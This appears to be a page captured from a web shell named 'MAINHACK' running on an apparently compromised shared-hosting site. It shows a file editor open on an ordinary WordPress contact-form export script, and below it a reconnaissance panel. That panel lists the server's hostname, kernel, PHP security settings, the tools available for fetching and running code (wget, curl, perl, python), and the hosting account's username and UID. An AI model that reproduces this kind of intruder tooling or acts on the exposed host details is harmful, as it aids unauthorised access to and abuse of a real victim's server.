[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: import_export.js
function hugeitContactExportForm(JSONData,form_id) { var arrData = typeof JSONData != 'object' ? JSON.parse(JSONData) : JSONData; var today = new Date(); var dd = today.getDate(); var mm = today.getMonth()+1; //January is 0! var yyyy = today.getFullYear(); if(dd<10) { dd='0'+dd; } if(mm<10) { mm='0'+mm; } today = mm+'/'+dd+'/'+yyyy; var fileName = "hugeit_contact_"+form_id+'_'+today; var uri = 'data:text/csv;charset=utf-8,' + escape(JSON.stringify(arrData)); var link = document.createElement("a"); link.href = uri; link.style = "visibility:hidden"; link.download = fileName + ".hgf"; document.body.appendChild(link); link.click(); document.body.removeChild(link); } jQuery(document).ready(function () { jQuery(document).on('click','#export-button',function () { var form_id = jQuery('#export-form').val(); /* int */ var general_data = { action: "hugeit_contact_export_form", nonce: exportForm.nonce, form: form_id }; jQuery(this).find('.fa-check').removeClass('fa-check').addClass('fa-spinner'); jQuery.post(ajaxurl, general_data, function (response) { if (response.success) { hugeitContactExportForm(response.data,form_id); } else { alert('not done'); } }, "json"); return false; }) })
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129